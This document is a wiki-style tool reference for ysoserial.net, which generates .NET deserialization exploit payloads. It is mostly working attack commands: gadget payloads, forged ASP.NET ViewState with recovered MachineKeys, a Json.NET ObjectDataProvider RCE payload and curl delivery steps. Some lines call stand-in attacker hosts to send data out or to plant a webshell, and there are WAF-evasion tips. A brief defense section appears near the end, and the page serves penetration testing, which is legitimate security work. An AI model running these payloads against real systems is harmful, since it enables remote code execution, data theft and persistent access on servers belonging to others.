ᛉ Yggdrasil

Tool references

ysoserial.net Wiki

17 Sep 2026 · 4,264 words · 19 min

Contents

Maintainers: Alvaro Munoz (@pwntester) / Soroush Dalili (@irsdl)
Repo: https://github.com/pwntester/ysoserial.net
Description: Deserialization payload generator for a variety of .NET formatters, inspired by Chris Frohoff's Java ysoserial
Branches: master (.NET 4.5+), v2 (legacy support down to .NET 3.5/4.0)
Target Platform: .NET Framework / Windows (build via Visual Studio or MSBuild)


Overview

ysoserial.net is the .NET counterpart to Frohoff's Java ysoserial — a payload generator for exploiting insecure deserialization in .NET applications. Where the Java tool targets a single serialization format (native Java serialization) with many gadget chains, ysoserial.net targets multiple .NET formatters (BinaryFormatter, ObjectStateFormatter, SoapFormatter, LosFormatter, NetDataContractSerializer, Json.NET, DataContractSerializer, XmlSerializer, FastJson, JavaScriptSerializer, YamlDotNet) each with their own subset of applicable gadgets. This makes formatter identification the critical first step before picking a gadget — a gadget that works against BinaryFormatter may not exist for Json.NET.

Key capabilities:

  • Generate RCE payloads across 7+ .NET serialization formatters
  • Purpose-built ViewState plugin to forge ASP.NET __VIEWSTATE payloads when the MachineKey (validationKey/decryptionKey) is known or MAC validation is disabled
  • Plugins for specific real-world sinks: DotNetNuke CVE-2017-9822, RESX/.resources files, clipboard-based payloads, session tokens, transaction manager re-enlistment
  • ActivitySurrogateSelector family for bypassing .NET 4.8+ BinaryFormatter type-check hardening
  • Fine-grained control over payload minification, output encoding (raw/base64), and gadget internals for WAF/signature evasion

What ysoserial.net is NOT: like its Java counterpart, it doesn't discover deserialization sinks or fingerprint remote formatters for you — companion tools like Blacklist3r (MachineKey identification) and manual application analysis fill that gap.


How .NET Deserialization Attacks Work

                      ┌────────────────────────────────────────┐
                      │      Vulnerable .NET Application       │
                      │  Formatter.Deserialize(untrusted_data) │
                      └───────────────────┬────────────────────┘
                                          │
                     Deserializes attacker-controlled bytes
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
       BinaryFormatter              ObjectStateFormatter        Json.NET (with
       .Deserialize()               (ASP.NET ViewState)         TypeNameHandling
              │                           │                     enabled)
              │                           │                           │
       Type instantiated           MAC-validated, then           $type property
       via reflection              formatter-deserialized        drives arbitrary
       based on embedded           object graph                  type instantiation
       type metadata                      │                           │
              └───────────────────────────┼───────────────────────────┘
                                          │
                     Chain terminates in a "sink":
        Delegate.Invoke() / Process.Start() / XAML LoadXaml() / ObjectDataProvider.MethodName
                                          │
                                    Command Execution

Why this works: Several .NET formatters embed full type information (assembly-qualified type names) in the serialized stream and instantiate those types automatically during deserialization — with no restriction on which types are allowed by default. If a type reachable via the classpath (GAC + app's own assemblies) has a constructor, property setter, or deserialization callback that reaches a dangerous sink (delegate invocation, process creation, XAML parsing), an attacker who controls the serialized bytes controls execution — again, often without any application logic running first.

Formatter risk tiers (roughly, most to least dangerous by default):

Formatter Risk Notes
BinaryFormatter Critical No built-in type restriction pre-.NET 5; Microsoft has deprecated it entirely, removed in .NET 9
NetDataContractSerializer Critical Same class of issue as BinaryFormatter — embeds full type info
SoapFormatter Critical XML-based but equally dangerous, same underlying IFormatter model
LosFormatter Critical Used internally for ASP.NET ViewState/ControlState
ObjectStateFormatter Critical (unless MAC-protected) The actual formatter behind ViewState; protected by validation/encryption keys when configured correctly
Json.NET Conditional Only exploitable if TypeNameHandling is set to Auto/All/Objects/Arrays (not default)
DataContractSerializer Low Requires KnownTypes misconfiguration, much narrower attack surface
XmlSerializer Low Generally safe by design — requires unusual gadget setups (e.g., ObjectDataProvider via XAML-adjacent tricks)
FastJson / JavaScriptSerializer Conditional Depends on type-binding configuration

Build & Setup

Building from Source (Windows)

# Install prerequisites via Chocolatey
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

choco install visualstudio2022community --yes
choco install visualstudio2022-workload-nativedesktop --yes
choco install msbuild.communitytasks --yes
choco install nuget.commandline --yes
choco install git --yes

# Clone and build
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release

# Binary output
.\ysoserial\bin\Release\ysoserial.exe -h

Pre-built Releases

# GitHub releases page ships pre-compiled binaries
# https://github.com/pwntester/ysoserial.net/releases

Branch Selection: master vs v2

master  -> targets .NET Framework 4.5+ (modern ViewState generator algorithm, newer gadgets)
v2      -> targets .NET Framework 3.5/4.0 (legacy ViewState generator, use --islegacy)

Always check the target's .NET Framework version (via X-AspNet-Version header, error stack traces, or web.config) before choosing a branch — using the wrong branch's ViewState generator ID scheme produces payloads that fail MAC validation even with correct keys.


Basic Usage

# General syntax
ysoserial.exe -f <formatter> -g <gadget> -o <raw|base64> -c "<command>"

# List all formatters, gadgets, and plugins
ysoserial.exe --fullhelp

# Basic BinaryFormatter + TypeConfuseDelegate payload
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# Save raw bytes to file
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin

# Test payload execution locally before sending to target (sandbox-safe check)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test

Core flags:

Flag Description
-f, --formatter=VALUE Target formatter (BinaryFormatter, Json.Net, LosFormatter, etc.)
-g, --gadget=VALUE Gadget chain to use
-c, --command=VALUE Command to execute on the target
-o, --output=VALUE Output format: raw or base64
-p, --plugin=VALUE Use a plugin instead of a raw formatter/gadget combo
-t, --test Attempt to deserialize the payload locally to verify it works before sending
--minify Minify payload where applicable (experimental, reduces size for constrained inputs)

Formatters Reference

# List gadgets compatible with a specific formatter
ysoserial.exe --fullhelp
Formatter Common Use Case Notes
BinaryFormatter Generic .NET serialization, message queues, caching layers, remoting Widest gadget support in ysoserial.net
SoapFormatter Older .NET Remoting endpoints XML-based encoding of the same object graph model
LosFormatter Internal ViewState/ControlState mechanics Rarely targeted directly — use the ViewState plugin instead
ObjectStateFormatter ASP.NET __VIEWSTATE Use the ViewState plugin, not raw -f ObjectStateFormatter
NetDataContractSerializer WCF endpoints configured with NetDataContractSerializer Same danger class as BinaryFormatter
Json.Net REST APIs using Newtonsoft.Json with TypeNameHandling misconfigured Requires confirming TypeNameHandling.Auto/All/Objects/Arrays server-side
DataContractSerializer WCF services Narrow gadget set, requires specific KnownTypes misconfig
XmlSerializer Legacy web services Very limited gadget applicability
FastJson Some legacy JSON APIs Conditional on type-binding config
JavaScriptSerializer ASP.NET AJAX-era JSON handling Conditional on JavaScriptTypeResolver usage
YamlDotNet (< 5.0.0) YAML-consuming .NET apps Version-gated — patched in 5.0.0+
# Example: Json.Net payload using ObjectDataProvider (works when TypeNameHandling is enabled)
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t '{
  "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName":"Start",
  "MethodParameters":{
    "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values":["cmd","/ccalc"]
  },
  "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'

Gadget Chains Reference

TypeConfuseDelegate

The most broadly portable gadget — abuses MulticastDelegate's internal _invocationList field via reflection to redirect a delegate call chain into Process.Start().

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64
Supported Formatters Discovered By
BinaryFormatter, NetDataContractSerializer, LosFormatter James Forshaw

Mono targets: use TypeConfuseDelegateMono — a tweaked variant of the same gadget for Mono runtimes instead of the standard .NET Framework CLR.


ObjectDataProvider

Abuses WPF's ObjectDataProvider class, which is designed to call a method on an object as part of data binding — but during deserialization, that method call becomes attacker-controlled with attacker-controlled arguments.

ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "calc" -o raw
Supported Formatters Discovered By
Json.Net, FastJson, JavaScriptSerializer, XmlSerializer, DataContractSerializer, YamlDotNet < 5.0.0 Alvaro Munoz, Oleksandr Mirosh

Highest-value gadget for JSON-based APIs since it applies across nearly every JSON/XML serializer ysoserial.net supports, not just BinaryFormatter-family formatters.


ActivitySurrogateSelector Family

Targets System.Workflow.ComponentModel.ActivitySurrogateSelector, historically one of the most powerful BinaryFormatter gadgets because it allows loading and executing arbitrary compiled assembly bytes during deserialization — not just a fixed method call.

# Base gadget
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64

# Bypasses .NET 4.8+ hardening that disabled ActivitySurrogateSelector by default
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64

# Variant that loads payload from a file reference instead of embedding it inline
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelectorFromFile -c "calc.exe" -o base64
Gadget Notes
ActivitySurrogateSelector Original gadget (James Forshaw); patched/disabled by default in .NET 4.8+
ActivitySurrogateDisableTypeCheck Disables the 4.8+ type-check protection specifically to re-enable the above (Nick Landers)
ActivitySurrogateSelectorFromFile File-reference variant for SoapFormatter contexts

OPSEC/engagement note: if the target is patched to .NET Framework 4.8+, always pair ActivitySurrogateSelector with ActivitySurrogateDisableTypeCheck, or the gadget will silently fail against the newer type-check guard.


TextFormattingRunProperties

Short, WAF-friendly payload — frequently the default choice for the ViewState plugin because of its compact size and reliability across .NET Framework versions.

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o base64

Preferred inside the ViewState plugin specifically because its short length reduces the chance of hitting request-size WAF rules, and it doesn't rely on the more fragile reflection tricks TypeConfuseDelegate uses.


Other Notable Gadgets

# PSObject — requires target unpatched for CVE-2017-8565 (July 2017)
ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc"

# WindowsIdentity / WindowsClaimsIdentity — identity-model based gadgets
ysoserial.exe -f Json.Net -g WindowsIdentity -c "calc" -o raw

# DataSet / DataSetOldBehaviour / DataSetTypeSpoof — abuse System.Data.DataSet deserialization quirks
ysoserial.exe -f Json.Net -g DataSet -c "calc" -o raw

# ClaimsPrincipal / ClaimsIdentity — WIF (Windows Identity Foundation) chains
ysoserial.exe -f Json.Net -g ClaimsPrincipal -c "calc" -o raw

# RolePrincipal / SessionSecurityToken — bridge gadgets, often paired with plugin-based delivery
ysoserial.exe -f DataContractSerializer -g RolePrincipal -c "calc" -o raw

# AxHostState — ActiveX control state abuse
ysoserial.exe -f BinaryFormatter -g AxHostState -c "calc" -o base64
Payload Formatters Notes
PSObject BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter Requires CVE-2017-8565 unpatched target
ResourceSet BinaryFormatter, LosFormatter, NetDataContractSerializer Not a standalone gadget — wraps TypeConfuseDelegate internally, use --internalgadget to pick underlying primitive
RolePrincipal BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter "Bridge and derived" — chains into another gadget
SessionSecurityToken Multiple Requires DPAPI in some plugin contexts
ToolboxItemContainer BinaryFormatter, LosFormatter, SoapFormatter Bridge gadget
WindowsClaimsIdentity Multiple Requires Microsoft.IdentityModel.Claims namespace, not always in GAC

--ig, --internalgadget=VALUE — for bridge gadgets like ResourceSet, selects the underlying primitive: 1=TypeConfuseDelegate (default), 2=TextFormattingRunProperties.


Plugins Reference

Plugins wrap formatter+gadget combinations into ready-to-use payloads for specific real-world attack surfaces, handling protocol-specific framing (encryption, MAC, XML wrapping) that a raw -f/-g combo doesn't.

ViewState Plugin

By far the highest-value plugin for web application engagements — forges ASP.NET __VIEWSTATE payloads. See the dedicated deep-dive section below for full workflow.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --validationalg="SHA1" --validationkey="<key>" --generator="<gen_id>"

Resx Plugin

Generates .resx/.resources files that trigger deserialization when viewed in Visual Studio, loaded by a vulnerable app, or processed via reflection-based resource loading.

# Generate a .resx payload (BinaryFormatter, TypeConfuseDelegate internally)
ysoserial.exe -p Resx -M BinaryFormatter -c "calc.exe" -o payload.resx

# Compile to .resources for CVE-2020-0932-style delivery
resgen.exe payload.resx

References: NCC Group's "ASP.NET resource files (RESX) and deserialisation issues" — relevant when an app allows uploading/loading arbitrary .resx/.resource files (common in CMS-style applications).

Other Plugins

# altserialization — HttpStaticObjectsCollection or SessionStateItemCollection payloads
ysoserial.exe -p altserialization -c "calc.exe"

# ApplicationTrust — XML payload for System.Security.Policy.ApplicationTrust (uses TypeConfuseDelegate internally)
ysoserial.exe -p ApplicationTrust -c "calc.exe"

# Clipboard — generates a DataObject payload and copies it directly to the clipboard
# (useful for paste-triggered deserialization in vulnerable desktop apps)
ysoserial.exe -p Clipboard -c "calc.exe"

# DotNetNuke — targets CVE-2017-9822 (DNN Cookie deserialization RCE)
ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"

# SessionSecurityTokenHandler — XML payload for WIF SessionSecurityToken (requires DPAPI, narrow applicability)
ysoserial.exe -p SessionSecurityTokenHandler -c "calc.exe"

# TransactionManagerReenlist — abuses System.Transactions re-enlistment callback
ysoserial.exe -p TransactionManagerReenlist -c "calc.exe"

Identifying .NET Deserialization Endpoints

Byte/string-level indicators:

BinaryFormatter (base64-encoded):    AAEAAAD/////  (common header, "MS .NET Remoting Binary Format")
LosFormatter / ViewState (unencrypted): /wEP...       ("__VIEWSTATE" typical prefix)
SoapFormatter:                        <SOAP-ENV:Envelope ...  (raw XML)
Json.Net with TypeNameHandling:       "$type":"Namespace.Class, Assembly" present in JSON body

Common real-world sinks:

  • ASP.NET WebForms __VIEWSTATE hidden field (by far the most common in the wild)
  • .NET Remoting endpoints (TCP/HTTP channels using BinaryFormatter/SoapFormatter)
  • WCF services with NetDataContractSerializer or misconfigured DataContractSerializer
  • Custom REST APIs deserializing JSON with TypeNameHandling.Auto/All (Json.NET misconfiguration — same root cause as many real CVEs)
  • Message queue payloads (MSMQ) using BinaryFormatter
  • Forms authentication cookies, session tokens using the same ObjectStateFormatter/LosFormatter machinery as ViewState
  • .resx/.resources files processed by vulnerable resource-loading code
# Quick check: does an unencrypted-looking ViewState decode to expected magic?
# /wEP prefix suggests unencrypted LosFormatter-based ViewState — worth testing directly

ASP.NET ViewState Deep-Dive

ViewState is ASP.NET WebForms' mechanism for preserving page/control state across postbacks. It's serialized via ObjectStateFormatter (built on LosFormatter) and, depending on configuration, may be:

Configuration MAC Protected? Encrypted? Exploitability
EnableViewStateMac=false, ViewStateEncryptionMode=false No No Directly exploitable, no keys needed
EnableViewStateMac=true (default since .NET Framework updates, Sept 2014+) Yes Configurable Requires MachineKey (validationKey) to forge a valid MAC
ViewStateEncryptionMode=true Yes Yes Requires both validationKey and decryptionKey

Step 1 — Check if MAC validation is actually enforced:

Send a short random base64 string as __VIEWSTATE.
- Error response mentioning "MAC validation" -> MAC IS enforced, need keys
- Generic/different error or page loads -> MAC may be disabled, test direct injection

Step 2 — For .NET Framework ≥ 4.5 (modern ViewState generator):

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" \
  --path="/somepath/testaspx/test.aspx" \
  --apppath="/testaspx/" \
  --decryptionalg="AES" \
  --decryptionkey="<decryptionKey_from_web.config>" \
  --validationalg="HMACSHA256" \
  --validationkey="<validationKey_from_web.config>"

Step 3 — For .NET Framework ≤ 4.0 (legacy generator, --islegacy):

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
  --apppath="/testaspx/" \
  --islegacy \
  --validationalg="SHA1" \
  --validationkey="<validationKey>" \
  --isdebug

Step 4 — Using --generator instead of computing path/apppath:

# __VIEWSTATEGENERATOR is often present as its own hidden field in the target's response —
# use it directly instead of reconstructing path/apppath by hand
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" \
  --generator="CA0B0334" \
  --validationalg="SHA1" \
  --validationkey="<validationKey>"

Key ViewState plugin flags:

Flag Description
--path=VALUE Full app-relative path to the target .aspx page (used to simulate TemplateSourceDirectory)
--apppath=VALUE The application's virtual path root
--islegacy Use the legacy generator algorithm (.NET 4.0 and below)
--isencrypted Combine with --islegacy when legacy encryption is used to bypass WAFs
--generator=VALUE Directly supply the __VIEWSTATEGENERATOR value instead of computing it from path/apppath
--vsuk, --viewstateuserkey=VALUE Sets ViewStateUserKey (sometimes used as an anti-CSRF measure) — defeats it entirely if known
--da, --decryptionalg=VALUE DES, 3DES, or AES (default: AES)
--dk, --decryptionkey=VALUE decryptionKey from <machineKey> in web.config
--va, --validationalg=VALUE SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, AES (default: HMACSHA256)
--vk, --validationkey=VALUE validationKey from <machineKey> in web.config
--isdebug Shows debug output — useful to confirm computed __VIEWSTATEGENERATOR matches target's actual value
--showraw Skip URL-encoding the output — remember to encode manually before use in most delivery contexts

Critical delivery gotcha: if the target response includes a __VIEWSTATEENCRYPTED parameter, remove it from your forged request, or the app will attempt to decrypt your (unencrypted-relative) payload and throw a MAC validation error instead of deserializing it. Also, always URL-encode the final payload unless using --showraw intentionally with your own encoding step — forgetting this is one of the most common reasons a working payload appears to fail.


MachineKey Discovery & Blacklist3r

Since ViewState exploitation with MAC/encryption enabled requires the target's <machineKey> values, discovering or guessing them is often the actual blocker — not the payload generation itself.

Where MachineKeys come from:

  • Directory traversal / LFI exposing web.config
  • Pre-shared/default keys shipped in commercial products (a surprisingly common finding — vendors reuse keys across installs)
  • Leaked keys in public repos, documentation, or support forums
# Blacklist3r — checks a captured __VIEWSTATE against a database of known/leaked MachineKeys
# https://github.com/NotSoSecure/Blacklist3r
AspDotNetWrapper.exe --keypath MachineKeys.txt \
  --encrypteddata "<__VIEWSTATE_value>" \
  --purpose=viewstate --valalgo=sha1 --decalgo=aes \
  --modifier="<__VIEWSTATEGENERATOR_value>" \
  --macdecode --legacy
# Python-based equivalent (blacklist3r.py from PayloadsAllTheThings ecosystem)
python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>"

Once a matching key is found, feed it straight into the ysoserial.exe -p ViewState command above.


Payload Delivery Vectors

# BinaryFormatter payload via HTTP POST body (raw binary)
curl -X POST --data-binary "@payload.bin" http://target/endpoint

# Base64 payload in a cookie
curl http://target/ -H "SessionData: $(cat payload_b64.txt)"

# ViewState delivery — replace the captured __VIEWSTATE field in an intercepted POST
curl -X POST http://target/page.aspx \
  --data-urlencode "__VIEWSTATE=<forged_viewstate_b64>" \
  --data-urlencode "__EVENTVALIDATION=<original_captured_value>"

# Best practice: intercept a legitimate request in Burp Repeater and swap only the
# __VIEWSTATE value in place — preserves other required form/session state and avoids
# CSRF-adjacent validation failures unrelated to the deserialization itself.

Encoding & Format Conversion

# Base64 output directly from ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# Raw bytes, then base64-encode separately if needed
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin

# URL-encode a ViewState payload for form submission (PowerShell)
Add-Type -AssemblyName System.Web
[System.Web.HttpUtility]::UrlEncode((Get-Content payload_b64.txt))
# URL-encode on Linux/attack box
python3 -c "import sys, urllib.parse; print(urllib.parse.quote(open('payload_b64.txt').read()))"

.NET Remoting Exploitation

.NET Remoting endpoints (TCP or HTTP channel, common in older enterprise .NET apps) deserialize objects directly off the wire using BinaryFormatter or SoapFormatter — making them a prime, often-unauthenticated target.

# Generate a payload targeting a .NET Remoting TCP channel
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > remoting_payload.bin

# Deliver via a raw TCP connection to the remoting port (commonly custom, check via nmap/banner grab)
# Delivery framing depends on the specific remoting channel implementation —
# tools like ExploitRemotingService or a custom .NET remoting client are often needed
# to correctly wrap the payload in the expected remoting message envelope.

References for deeper remoting-specific tooling: code-white.com blog posts on "leaking objrefs to exploit HTTP .NET Remoting" and "teaching the old .NET Remoting new exploitation tricks" (see References).


Troubleshooting & Version Matching

Symptom Likely Cause Fix
ViewState payload rejected with MAC validation error Wrong validationKey, wrong validationalg, or master/v2 branch mismatch for target's .NET version Confirm exact .NET Framework version; try --islegacy with the v2 branch build
TypeConfuseDelegate payload fails silently Target running .NET Framework 4.8+ with ActivitySurrogateSelector-family protections (unrelated gadget, but check if you're actually using the right one) Confirm you're using TypeConfuseDelegate, not ActivitySurrogateSelector, for general BinaryFormatter targets — the latter needs ActivitySurrogateDisableTypeCheck on 4.8+
ObjectDataProvider payload doesn't trigger via Json.Net TypeNameHandling not actually set to Auto/All server-side Confirm via error messages or behavioral testing (send a harmless $type probe) before assuming the gadget applies
Generated __VIEWSTATEGENERATOR doesn't match target's actual value Incorrect --path/--apppath, or app is behind a virtual directory not accounted for Use --isdebug to compare computed value against the captured one; prefer --generator=<known_value> directly when available
Payload works with --test locally but fails against target Target GAC/assembly versions differ from build machine (different .NET Framework patch level) Match target's exact .NET Framework version where possible; some gadgets are version-sensitive
Build fails on msbuild Missing Visual Studio native desktop workload or NuGet restore not run Re-run nuget restore ysoserial.sln before msbuild

Detection & Defense

(For blue-team / remediation context when reporting findings.)

  • Stop using BinaryFormatter/NetDataContractSerializer/SoapFormatter entirely — Microsoft has formally deprecated BinaryFormatter and removed it from .NET 9+; migrate to System.Text.Json or explicit DTOs
  • For ViewState: always explicitly set EnableViewStateMac=true (don't rely on defaults across all .NET Framework versions) and avoid ViewStateEncryptionMode=false
  • Never reuse a default/vendor-shipped <machineKey> — always generate unique per-install validationKey/decryptionKey values; this single misconfiguration is behind a large share of real-world ViewState RCE findings
  • For Json.NET: never set TypeNameHandling to Auto/All/Objects/Arrays on types deserializing untrusted input; use SerializationBinder allow-lists if polymorphic deserialization is genuinely required
  • ObjectInputFilter-equivalent allow-listing where the target framework version supports ISerializationSurrogate/custom SerializationBinder restrictions
  • WAF/RASP signatures on payload magic strings (AAEAAAD/////, TypeConfuseDelegate-adjacent type names, suspicious $type values in JSON bodies)

Common Attack Workflows

Workflow: Full ViewState RCE Chain (Known MachineKey)

# Step 1: Capture a legitimate request/response containing __VIEWSTATE and __VIEWSTATEGENERATOR
# Step 2: Confirm .NET Framework version and MAC/encryption config from response headers/errors

# Step 3: Generate the forged ViewState payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami > C:\inetpub\wwwroot\out.txt" \
  --generator="CA0B0334" \
  --validationalg="SHA1" \
  --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

# Step 4: Intercept a real POST to the target page in Burp Repeater
# Step 5: Replace __VIEWSTATE with the forged value; remove __VIEWSTATEENCRYPTED if present
# Step 6: Send, then verify command execution (retrieve out.txt via LFI/webshell/OOB callback)

Workflow: MachineKey Discovery -> ViewState RCE

# Step 1: Capture __VIEWSTATE and __VIEWSTATEGENERATOR from the target
# Step 2: Check against known/leaked MachineKey databases
python examples/blacklist3r.py --viewstate "<captured_b64>" --generator "<generator_id>"

# Step 3: If a match is found, feed the recovered key straight into ysoserial.net
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
  --generator="<generator_id>" \
  --validationalg="<matched_alg>" \
  --validationkey="<matched_key>"

# Step 4: Deliver as above

Workflow: Json.NET API RCE (TypeNameHandling Misconfiguration)

# Step 1: Probe the API — send a harmless $type-annotated object and observe behavior
# {"$type":"System.String, mscorlib","value":"test"}

# Step 2: If the app processes $type without error, generate an ObjectDataProvider payload
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "whoami" -t '{
  "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName":"Start",
  "MethodParameters":{
    "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values":["cmd","/c whoami > C:\\out.txt"]
  },
  "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'

# Step 3: Submit as the API's normal JSON body in place of the legitimate object
curl -X POST http://target/api/endpoint -H "Content-Type: application/json" -d @payload.json

Cheatsheet

Quick reference for the most common ysoserial.net operations. Replace placeholders as needed.

Build

git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
# binary: .\ysoserial\bin\Release\ysoserial.exe

Basic Payload Generation

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64        # older targets
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64 # .NET 4.8+ targets
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw                              # JSON APIs

ViewState (Most Common Real-World Use)

# .NET Framework >= 4.5, MAC + encryption enabled
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --path="/site/page.aspx" --apppath="/site/" \
  --decryptionalg="AES" --decryptionkey="<decKey>" \
  --validationalg="HMACSHA256" --validationkey="<valKey>"

# .NET Framework <= 4.0, legacy
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
  --apppath="/site/" --islegacy \
  --validationalg="SHA1" --validationkey="<valKey>" --isdebug

# Using known __VIEWSTATEGENERATOR directly
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --generator="<gen_id>" --validationalg="SHA1" --validationkey="<valKey>"

DotNetNuke (CVE-2017-9822)

ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"

MachineKey Recovery

python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>" -M MachineKeys.txt

Encoding

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64   # base64 direct
python3 -c "import sys,urllib.parse;print(urllib.parse.quote(open('p.txt').read()))"  # url-encode

Local Test Before Delivery

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test

Magic Byte / String Check

BinaryFormatter base64:  starts with AAEAAAD/////
Unencrypted ViewState:   starts with /wEP

References

  • GitHub: https://github.com/pwntester/ysoserial.net
  • ViewStatePayloadGenerator (related tool, same maintainer): https://github.com/pwntester/ViewStatePayloadGenerator
  • Blacklist3r (MachineKey discovery): https://github.com/NotSoSecure/Blacklist3r
  • Original Java ysoserial (inspiration): https://github.com/frohoff/ysoserial
  • "Getting Shell with .xamlx Files" (NCC Group): https://research.nccgroup.com/2019/08/23/getting-shell-with-xamlx-files/
  • "Re-Animating ActivitySurrogateSelector" (NetSPI): https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogateselector/
  • "Introducing ysoserial.net April 2020 Improvements" (MDSec): https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/
  • Deep Dive into .NET ViewState Deserialization (Swapneil Dash): https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
  • ASP.NET Cryptography for Pentesters (Paul Mueller): https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
  • Exploiting ViewState Deserialization using Blacklist3r and ysoserial.net (NotSoSecure): https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net
  • PayloadsAllTheThings — IIS Machine Keys: https://swisskyrepo.github.io/PayloadsAllTheThings/API%20Key%20Leaks/IIS-Machine-Keys/
  • "Leaking objrefs to exploit HTTP .NET Remoting" (code white): https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
  • "Teaching the old .NET Remoting new exploitation tricks" (code white): https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/

← Tool references top ↑